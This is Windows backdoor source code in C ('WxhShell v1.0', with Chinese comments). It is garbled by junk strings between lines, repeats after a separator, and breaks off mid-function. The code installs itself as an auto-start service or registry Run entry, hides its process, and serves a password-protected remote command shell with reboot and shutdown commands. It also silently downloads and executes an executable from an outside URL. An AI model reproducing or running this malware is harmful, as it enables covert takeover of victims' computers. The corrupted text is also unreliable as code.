]| N` aF{3[ HANDLE hProcess; a;QMAd! PROCESS_BASIC_INFORMATION pbi; rA2g& *NkA8PC HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'rMN=1:iu" if(NULL == hInst ) return 0; M&NB/ <@}I0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f8M$45A' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p!sWYui NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `!Ds6 CamE' if (!NtQueryInformationProcess) return 0; *c%oN
| o&`<+4
i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2WtRJi?b| if(!hProcess) return 0; F#5B<I 2P/K
K if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c6nflk.l tjGd ) CloseHandle(hProcess); OR}c)|1 %^I88,$&L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0j30LXI_ if(hProcess==NULL) return 0; T/^Hz4uA7 Jrg2/ee,* HMODULE hMod; )dY=0"4Z char procName[255]; w"SoeU unsigned long cbNeeded; YyTSyP4 e=4+$d if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BT)X8>ct D[_| *9BC CloseHandle(hProcess); -8r ~><^'j[ if(strstr(procName,"services")) return 1; // 以服务启动 T :/,2.l 3 n'V\Hvz return 0; // 注册表启动 L]d-hs } ]Ar\c[" D8>enum // 主模块 EI_ int StartWxhshell(LPSTR lpCmdLine) @y82L8G/ { wY~&Q}U SOCKET wsl; *uo'VJI7_, BOOL val=TRUE; vC1v"L;[o/ int port=0; qduWzxB struct sockaddr_in door; /1x,h"T\< 'XzXZJ[uq if(wscfg.ws_autoins) Install(); ZO4*sIw%
5aln>1x>hn port=atoi(lpCmdLine); tZ `z ,WvY$_#xW% if(port<=0) port=wscfg.ws_port; <Q?a=4 p/U+0f WSADATA data; yaG= j if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .&9 i ]8T |f if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hQ(qbt{e setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :6zG7qES3 door.sin_family = AF_INET; %{/%mJoX door.sin_addr.s_addr = inet_addr("127.0.0.1"); Eh =~T9 door.sin_port = htons(port); ^s@8VAwi c)A{p if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P>sFV closesocket(wsl); ,Z{d.[$ return 1; dn}` i } z]2]XTmWs i&vaeP25) if(listen(wsl,2) == INVALID_SOCKET) { 5v?;PX closesocket(wsl); ynw5-aS3 return 1; )$`wIp } [@Q_(LQ-U Wxhshell(wsl); -
/(s#D WSACleanup(); /v/C<] H"C[&r return 0; e.@uhB. `.T}=j| } 8me ]JRw $&<uT // 以NT服务方式启动 j'aHF#_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +V{7")px6 { 8E4mA5@ DWORD status = 0; `2`\]X_A{ DWORD specificError = 0xfffffff; ] )F7) @BrMl%gV serviceStatus.dwServiceType = SERVICE_WIN32; x7vctjM| serviceStatus.dwCurrentState = SERVICE_START_PENDING; u`olW%C/T serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q>R>R*1.j serviceStatus.dwWin32ExitCode = 0; F29va serviceStatus.dwServiceSpecificExitCode = 0; E@-KGsdhK serviceStatus.dwCheckPoint = 0; %e`$p=m serviceStatus.dwWaitHint = 0; ,_X/Gb6) 59zENUYl hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zH>hx5,k'X if (hServiceStatusHandle==0) return; rHf&:~ + J{0 E status = GetLastError(); <c%W")0 if (status!=NO_ERROR) ZVbl88,(l { e]T`ot#/ serviceStatus.dwCurrentState = SERVICE_STOPPED; C=s1R;"H serviceStatus.dwCheckPoint = 0; !A>z(eIsv` serviceStatus.dwWaitHint = 0; ?UK|>9y}Z serviceStatus.dwWin32ExitCode = status; lj{VL}R serviceStatus.dwServiceSpecificExitCode = specificError; o/C\d$i' SetServiceStatus(hServiceStatusHandle, &serviceStatus); {q<03d~9|G return; zOV=9"~{ } 2-"0 ^n{ ;U<rc'qE serviceStatus.dwCurrentState = SERVICE_RUNNING; Iw<j T|y) serviceStatus.dwCheckPoint = 0; @^;j)%F} serviceStatus.dwWaitHint = 0; rz"txN if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w|CZ7|6 } sTOa Qb!PRCHQ // 处理NT服务事件,比如:启动、停止 N<QjdD& VOID WINAPI NTServiceHandler(DWORD fdwControl) DhX#E& { ,o^y`l switch(fdwControl) {tThy# { M;0]u.D*= case SERVICE_CONTROL_STOP: fZxIY, serviceStatus.dwWin32ExitCode = 0; n.sbr serviceStatus.dwCurrentState = SERVICE_STOPPED; fM #7 y [ serviceStatus.dwCheckPoint = 0; UG'bOF4 serviceStatus.dwWaitHint = 0; @"Z7nJX { dB+N\HBY SetServiceStatus(hServiceStatusHandle, &serviceStatus); n!')wIk } 5C"QE8R o return; <5G{"U+ \ case SERVICE_CONTROL_PAUSE: .`7cBsXH serviceStatus.dwCurrentState = SERVICE_PAUSED; N`E-+9L) break; 8/t$d#xHI case SERVICE_CONTROL_CONTINUE: h'$QC )P serviceStatus.dwCurrentState = SERVICE_RUNNING; rJa$9B*^ break; "+zCS|
case SERVICE_CONTROL_INTERROGATE: sP-^~ pp break; @]qBF]6 }; XxDaz1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); _:+
KMR } O:{U^K:* DAwqo.m // 标准应用程序主函数 gPu2G/Y int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sHc Td>xS { DfV~!bY oG7q_4+& // 获取操作系统版本 wBQF~WY OsIsNt=GetOsVer(); * ,v|y6 GetModuleFileName(NULL,ExeFile,MAX_PATH); >|6iR%"f# U:MPgtwe // 从命令行安装 G60R9y47c if(strpbrk(lpCmdLine,"iI")) Install(); ork=`}; AW#<i_Ybf // 下载执行文件 Z4){
7|~a if(wscfg.ws_downexe) {
t8+_/BXv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4lqH8l. WinExec(wscfg.ws_filenam,SW_HIDE); 6l$L~> } lCF`*DM# `xiCm': if(!OsIsNt) { \m=?xb8
f // 如果时win9x,隐藏进程并且设置为注册表启动 Z_gC&7+ HideProc(); (Y+N@d StartWxhshell(lpCmdLine); (~$/$%b } m~lpyAw else ?<Y+peu if(StartFromService()) p#SY /KIw // 以服务方式启动 U$H@ jJ* StartServiceCtrlDispatcher(DispatchTable); #q3l!3\mW else k z"3ZDR // 普通方式启动 Y%|@R3[Nk StartWxhshell(lpCmdLine); eUl/o1~mXa l{VSb92f return 0; 'xv8Gwf" } =&!HwOnp kAM1TWbaVQ <`!PCuR Qm8)4?FZ ===========================================
`VQb-V |0{u->+ ) O)kgBrB \@}#Gez ri1C-TJM) q8:{Nk " tRw@U4=y B/Gd(S`@q #include <stdio.h> .Hc(y7HV #include <string.h> okq[ o90 #include <windows.h> N~pIC2Woo #include <winsock2.h> r}u%#G+K, #include <winsvc.h> I
_i6-<c.Q #include <urlmon.h> MHL("v(@B tn|,O.t #pragma comment (lib, "Ws2_32.lib") Jti(b*~ #pragma comment (lib, "urlmon.lib") :Vg}V"QR 0)Rw|(Fpo] #define MAX_USER 100 // 最大客户端连接数 '!Gs>T+ #define BUF_SOCK 200 // sock buffer 0W`LVue #define KEY_BUFF 255 // 输入 buffer _{jP;W sA9&/p/ #define REBOOT 0 // 重启 -ng=l; #define SHUTDOWN 1 // 关机 8hA^`Y Fg/dS6=n`? #define DEF_PORT 5000 // 监听端口 wA`"\MWm wFlvi=n/ #define REG_LEN 16 // 注册表键长度 e75UMWaeC #define SVC_LEN 80 // NT服务名长度 <Fs-3(V+\ _,6f#t // 从dll定义API 7GZgu$' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I8H%=Kb?9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IMQ]1uq0$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dSIH9D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U,1AfzlF /,5Z-Z*wq // wxhshell配置信息 Je4Z(kj 0 struct WSCFG { Ip}Vb6} int ws_port; // 监听端口 rVQX7l# YI char ws_passstr[REG_LEN]; // 口令 rOD1_X- int ws_autoins; // 安装标记, 1=yes 0=no _SZ5P>GIU char ws_regname[REG_LEN]; // 注册表键名 gQ~5M'# char ws_svcname[REG_LEN]; // 服务名 g8ES8SM char ws_svcdisp[SVC_LEN]; // 服务显示名 rZbEvS char ws_svcdesc[SVC_LEN]; // 服务描述信息 %Y4e9T". char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ">dq0gD int ws_downexe; // 下载执行标记, 1=yes 0=no U},=LsDsW4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I~'*$l char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZX
b}91rzt -Uo?WXP]B' }; o@lWBfB*%e 1u]P4Gf= // default Wxhshell configuration p4VqV6LwD struct WSCFG wscfg={DEF_PORT, LF*Q! "xuhuanlingzhe", |0bc$ZY: 1, 2aw&F Z? "Wxhshell", BbJkdt7 "Wxhshell", v|
z08\a[ "WxhShell Service", %K 4
"Wrsky Windows CmdShell Service", DE{h5-g "Please Input Your Password: ", ZF#Rej? 1, 2aNT#J"_ "http://www.wrsky.com/wxhshell.exe", F5gObIJtuY "Wxhshell.exe" Jx-wO/ }; WV kR56 iO!6}yJ*V // 消息定义模块 ++[5q+b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d]0a%Xh[ char *msg_ws_prompt="\n\r? for help\n\r#>"; W( *V2<$o char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Em13dem char *msg_ws_ext="\n\rExit."; N~=A char *msg_ws_end="\n\rQuit."; [A~G- char *msg_ws_boot="\n\rReboot..."; i cUT<@0 char *msg_ws_poff="\n\rShutdown..."; *QE<zt char *msg_ws_down="\n\rSave to "; (UEXxUdQ_Q ]!YtH]} char *msg_ws_err="\n\rErr!"; sCH)gr@gJ^ char *msg_ws_ok="\n\rOK!"; v.Ogf5 Zu<]bv char ExeFile[MAX_PATH]; FQeYx-7 int nUser = 0; XOb}<y)r~ HANDLE handles[MAX_USER]; /jD-\,:L} int OsIsNt; i4Z4xTn >tRHNB_ SERVICE_STATUS serviceStatus; i6no;}j SERVICE_STATUS_HANDLE hServiceStatusHandle; d-!<C7O} 8zQfY^/{M // 函数声明 !ZtSbOC ' int Install(void); V*jsq[q= int Uninstall(void); h.tY 'F int DownloadFile(char *sURL, SOCKET wsh); va{#RnU int Boot(int flag); o96:4j4 void HideProc(void); ?Z %: int GetOsVer(void); p5]_}I`+2 int Wxhshell(SOCKET wsl); BQgoVnQo_c void TalkWithClient(void *cs); S0@T0y# int CmdShell(SOCKET sock); ;q#]-^ int StartFromService(void); ^nDal':* int StartWxhshell(LPSTR lpCmdLine); gp< =Gmd Jj"HpK>[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vahoSc;sw VOID WINAPI NTServiceHandler( DWORD fdwControl ); EO"C8z'al p6 xPheD // 数据结构和表定义 lxb 8xY SERVICE_TABLE_ENTRY DispatchTable[] = /NBTvTI { H 30OUrD {wscfg.ws_svcname, NTServiceMain}, @Jv# fr {NULL, NULL} z%"Ai)W/{ }; \SYvD y] jMpa?Jp 1 // 自我安装 :\}U9QfCw int Install(void) #1Z7R/ { ,-#GX{! char svExeFile[MAX_PATH]; `<vxG4=62\ HKEY key;
C B}BQd strcpy(svExeFile,ExeFile); ;El <%{( BnEdv8\,&s // 如果是win9x系统,修改注册表设为自启动 rFd@mO if(!OsIsNt) { 6}&^=^- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f~\Xg7< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aw$Y`6,S RegCloseKey(key); xks?y.wA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zNtq"T [ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VuWib+fT RegCloseKey(key); }C~]=Z return 0; f$D@*33ft } e@
oWwhpE } *6*-WV6 } QUP|FIpZ else { _PB@kH# h`?k.{})M // 如果是NT以上系统,安装为系统服务 !$kR ;Q"/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M<oA<#IW if (schSCManager!=0) xdF guV8 { ,{<Fz% SC_HANDLE schService = CreateService ToU.mM?f^ ( {\We72! schSCManager, !t-K<' wscfg.ws_svcname, vl5){@
wscfg.ws_svcdisp, fi=?n{e' SERVICE_ALL_ACCESS, H-&3} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <aVfJd/fT SERVICE_AUTO_START, k=uZ=tUft* SERVICE_ERROR_NORMAL, sv=^k(d3 svExeFile, B_~jA%0m' NULL, TA)LPBG NULL, k^*$^;z NULL, 1X:&*a"5 NULL, ks:{TA27 NULL d.\PS9l ); l{EU_|q if (schService!=0) `p|[rS> { SfDQ;1? CloseServiceHandle(schService); VK4/82@5 CloseServiceHandle(schSCManager); B)a@fmp"a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S:Xs'0K_ strcat(svExeFile,wscfg.ws_svcname); (Jpm
K O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lPS*-p#IZ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|Ylg$?,9* RegCloseKey(key); )F
E8D return 0; oFyeH )! } P`2&*2, } zPBfiK_hV CloseServiceHandle(schSCManager); Xiju"Cup" } okDJ(AIV+ } wP`sXPSmIu coAW9=o} return 1; PW^ 8;[\QP } Z3`2-r_= 9HKf^+';n // 自我卸载 3kw}CaZ6 int Uninstall(void) sRi %1r7 { \^s2W:c HKEY key; 1*c>I@I; |Mlh; if(!OsIsNt) { )k~1, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <ge}9pU)o^ RegDeleteValue(key,wscfg.ws_regname); wT%"5: RegCloseKey(key); `]&*`9IK{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uQ1jwYK`7 RegDeleteValue(key,wscfg.ws_regname); -$L(y@%X^ RegCloseKey(key); uN(b.5y return 0; ^2JPyyZa } aH^{Vv$]M@ } w .l|G,%= } {g@A> else { C2.W[T ITQ9(W
Un SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kYtHX~@ if (schSCManager!=0) 25&nwz { x
Ty7lfSe SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N6BNzN}-P if (schService!=0) pj@Yqg/ { w5Z2N[hy if(DeleteService(schService)!=0) { 9b%|^.B CloseServiceHandle(schService); bN!u}DnN CloseServiceHandle(schSCManager); \
%_)_"Q return 0; >F|qb*Tm7 } d/4ubf+$k CloseServiceHandle(schService); )^(P@D.L } F7V6-V{_ CloseServiceHandle(schSCManager); 8.-S$^hj~6 } j $0zD:ppW } g~|y$T R9q0,yQW return 1; ;x16shH
} r
hZQQOQ p4y6R4kyT // 从指定url下载文件 ]'6'<S int DownloadFile(char *sURL, SOCKET wsh) kMqD
iJ { O&52o]k5l HRESULT hr; d["x=
[f char seps[]= "/"; 3Cd<p[%3#, char *token; )*Vj3Jx char *file; Tfr`?:yF char myURL[MAX_PATH]; \d ui`F"Cc char myFILE[MAX_PATH]; unJiE! f!EOYowW strcpy(myURL,sURL); IQ=CNby: token=strtok(myURL,seps); pqOA/^ar while(token!=NULL) nrF!;:x { ~@ ?"'!U file=token; ,,Jjr[A_j token=strtok(NULL,seps); ~R'BU=!;F } +R9%~Z.= Vv2{^!aZ GetCurrentDirectory(MAX_PATH,myFILE); e7lo!(># strcat(myFILE, "\\"); .@Hmg strcat(myFILE, file); a" ^#!G<+ send(wsh,myFILE,strlen(myFILE),0); TG4^_nRl send(wsh,"...",3,0); gh'kUZG
a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xSdN5RN if(hr==S_OK) LH,]vuXh return 0; E`(5UF*> else \u{Jf'g return 1; R
!Fx)xj Kyu@>9Ok } ,cPkx~w0 [6G=yp // 系统电源模块 Lblet int Boot(int flag) tI"wVr { h)7v1,;w' HANDLE hToken; $1b]xQ TOKEN_PRIVILEGES tkp; 7KeXWW/ d
!,Qm if(OsIsNt) { F9v)R#u~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "OVi /:*B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0
-!?W tkp.PrivilegeCount = 1; `S5>0r5[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g%+ql[(4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,eyp$^ 2 if(flag==REBOOT) { 4P`PmQ=GQh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8I<_w4fC return 0; >).@Nb;e } $^]
9 else { $ 9S>I' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tN[St return 0; K<RmaXZ } 0BT;"B1 } )o86lH"z else { sWp{Y. if(flag==REBOOT) { l#tS.+B7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \)uy"+ Z` return 0; $,}Qf0(S } mgk64}K [n else { +[>yO _} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jG
=(w4+ return 0; A J<iM)l| } X77A; US } jM6uT'Io 37J\i ] return 1; 0Ddn@!J* } u4go*# }~myf\$ // win9x进程隐藏模块 <ur KIu void HideProc(void) T_3V/)%@ { :yd=No@ 5wT',U"+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l0eANB%Y=@ if ( hKernel != NULL ) jB*9 !xrd, { 5}<.1ab3V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z\X60T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H?rSP0. FreeLibrary(hKernel); cZPbD;e: } cjCE3V9X Q,OkO?uY return; ztRWIkI
q } rd|@*^k bv .EM // 获取操作系统版本 Rh!L'?C int GetOsVer(void) emGV]A%nss { ;:v]NZtc OSVERSIONINFO winfo; Q,[rrG;?@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oc!biE`u GetVersionEx(&winfo); #N<s^KYG- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }T?i%l return 1; >:3xi{ else e-nWD return 0; Rh wt< } d)`nxnbMeM i n[n Aa // 客户端句柄模块 9itdRa== int Wxhshell(SOCKET wsl) n,CD4Nv { l=Lmr SOCKET wsh; *O"%tp6 struct sockaddr_in client; !X \Sp} DWORD myID; c@0l-R{q { Hktu| while(nUser<MAX_USER) a7QlU=\ { eyI-s9#t int nSize=sizeof(client); &xPOp$Sx~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `XQx$I if(wsh==INVALID_SOCKET) return 1; O[i2A( Y?"v2~;3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |[lxV&SD. if(handles[nUser]==0) KUl
Zk^a closesocket(wsh); , V0iMq else K8yWg\K nUser++; GV `idFd } &-EyM*:u! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z{ Zimr Qs#9X=6e@ return 0; ?M*C*/R } Hl4vLx@ &F@tmM~ // 关闭 socket '=@-aVp void CloseIt(SOCKET wsh) _*OaiEL+: { -jcrXskb&N closesocket(wsh); "6|'&6& nUser--; 7v4-hfN ExitThread(0); Jgi{7J } Z7K!"I s+OvS9et_ // 客户端请求句柄 NKIk d void TalkWithClient(void *cs) 'ugR!o1 { BP7<^`i& yKX:Z4I/ SOCKET wsh=(SOCKET)cs; vZ1D3ytfG char pwd[SVC_LEN]; $S"zxEJJ Y char cmd[KEY_BUFF]; HnH2u; char chr[1]; BMtYM{S6 int i,j; Q rrZF. >o=axZNa while (nUser < MAX_USER) { (_s!,QUe D9@<#2- if(wscfg.ws_passstr) { ~@a) E+LsF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W2X+NacD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); juve9HaW //ZeroMemory(pwd,KEY_BUFF); N@%xLJF=N> i=0; A_X^k|)T while(i<SVC_LEN) { qqO10~Xc 8&`T<ECq> // 设置超时 v]d?6g fd_set FdRead; I%VV4,I&pK struct timeval TimeOut; b{yH4)O FD_ZERO(&FdRead); V.E.~<7D\ FD_SET(wsh,&FdRead); Q
xj|lr TimeOut.tv_sec=8; //4p1^% TimeOut.tv_usec=0; `"bRjC"f] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .n^O)|Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `gA5P % R, (+NT$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;r2b@x:<_ pwd=chr[0]; CM@"lV_ if(chr[0]==0xd || chr[0]==0xa) { SbQ{ > pwd=0; n=#[Mi $Y break; f R{WS:Pv } XQJV.SVS i++; }gi`?58J6 } ^HU=E@ m-pIFL<^N // 如果是非法用户,关闭 socket I{X@<o} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \C'I l
w } 16d{IGMz JqH.QnKcv send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '&o>
%V send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]>]H:NEq ;Vtpq3 while(1) { S+E3;' H hGaYQgGq ZeroMemory(cmd,KEY_BUFF); _tg3%X] k?@W/}Iv9 // 自动支持客户端 telnet标准 a}+_Yo(Q j=0; aX%g+6t2 while(j<KEY_BUFF) { :;gwdZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6`{)p&9 cmd[j]=chr[0]; 8)Bn?6. if(chr[0]==0xa || chr[0]==0xd) { s#8{:ko cmd[j]=0; s\K-(`j} break; Snvj9Nr } "MVN/Gl j++; DQHGq_unP } T=)L5 Vuq<
h hNFp // 下载文件 >+W?!9[p:2 if(strstr(cmd,"http://")) { q=i,'.nS send(wsh,msg_ws_down,strlen(msg_ws_down),0); h11bK'TIv if(DownloadFile(cmd,wsh)) c+
H)1Dfq send(wsh,msg_ws_err,strlen(msg_ws_err),0); n*]x02:LjZ else A5J#x6@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /(}l[jf } ~m"M#1,ln3 else { ,1 9" [:WN Q!$kUcky9 switch(cmd[0]) { q?b)zeJ QH56tQq // 帮助 VE+p&0 case '?': { xdSj+507 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iOA3x 8J break; v+,
w{~7RH } {gq:sj> // 安装 Z{>Y':\?< case 'i': { z8MpE if(Install()) -ZMl[;OM send(wsh,msg_ws_err,strlen(msg_ws_err),0); @x\gk5 else (4/`@;[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P24 break; [+5SEr} } k@X
As // 卸载 [O =)FiY- case 'r': { Ql!6I ( if(Uninstall()) eXtF[0f send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~s^6Q#Z9| else iS^^Z ZyR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (5\d[||9g break; /-} p7AM } /:];2P6#X // 显示 wxhshell 所在路径 $[9V'K case 'p': { PfMOc+ q char svExeFile[MAX_PATH]; Ay. q) strcpy(svExeFile,"\n\r"); 1F%*k &R strcat(svExeFile,ExeFile); 9hi(P*%q send(wsh,svExeFile,strlen(svExeFile),0); {Eb2<;1o{ break; $2Tty 7 } E?W!.hbA // 重启 D"><S<C\C case 'b': { w2_I/s6B send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >5Rw~ if(Boot(REBOOT)) Bk(XJAjY send(wsh,msg_ws_err,strlen(msg_ws_err),0); dXy"yQ>{ else { &ppZRdq] closesocket(wsh); Vam8NnZ|r ExitThread(0); 0Nzv@g{3 } o ML
K!]a break; D}C*8s bC} } C'#)bX{ // 关机 +]2~@=<@ case 'd': { o]k]pNO send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2H0q\zZ if(Boot(SHUTDOWN)) "VhrsVT send(wsh,msg_ws_err,strlen(msg_ws_err),0); z[I/ AORl else { ,}$x'8v closesocket(wsh); %1l80Z ExitThread(0); st^N QL } UVi/Be#| break; 9(\N+ } I;PO$T // 获取shell d3hTz@JY case 's': { GoGgw]h>x CmdShell(wsh); N1zrfn-VU closesocket(wsh); LWR&(p.% ExitThread(0); -|UX}t* break; }E]&13>r } 8J@OMW&[l // 退出 `e:RZ case 'x': { UmMYe4LQR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g0U\AN CloseIt(wsh); X_yU"U break; N>#P
1!eP } iV$75Atk // 离开 Cl){sP=8W case 'q': { ?DTP-#5Ba send(wsh,msg_ws_end,strlen(msg_ws_end),0); QRix_2+ closesocket(wsh); [_B&7#3>7 WSACleanup(); ]fmf X exit(1); Nv#, s_hG break; o*S $j Cf? } JqIv&W |